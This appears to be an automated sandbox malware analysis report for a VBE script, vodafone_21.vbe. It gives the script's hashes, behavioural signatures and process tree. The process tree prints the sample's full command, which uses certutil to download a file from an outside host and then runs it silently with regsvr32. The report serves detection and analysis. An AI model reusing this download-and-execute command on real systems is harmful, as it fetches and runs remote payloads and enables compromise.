Analysis

  • max time kernel
    119s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    21/01/2022, 06:49

General

  • Target
    vodafone_21.vbe
  • Size 211B
  • Sample220121-hlchsaecc4
  • SHA256 0fa841c1e599d2972006a04ccb61a1c2cd8139db2af6b59d396c2a8cb5d3cbae
  • MD5 SHA1 SHA512
Score
3/10

Malware Config

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\vodafone_21.vbe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1656
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c certutil -urlcache -split -f https://medialines.bar/image.txt C:\Users\Admin\AppData\Local\Temp\\image.txt && timeout 3 & regsvr32.exe /s C:\Users\Admin\AppData\Local\Temp\\image.txt
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1736
      • C:\Windows\system32\certutil.exe
        certutil -urlcache -split -f https://medialines.bar/image.txt C:\Users\Admin\AppData\Local\Temp\\image.txt
        3⤵
          PID:668
        • C:\Windows\system32\regsvr32.exe
          regsvr32.exe /s C:\Users\Admin\AppData\Local\Temp\\image.txt
          3⤵
          • Suspicious behavior: CmdExeWriteProcessMemorySpam
          PID:1108

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

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          Downloads

          memory/668-55-0x00000000FF931000-0x00000000FF933000-memory.dmp

          memory/1656-54-0x000007FEFBCB1000-0x000007FEFBCB3000-memory.dmp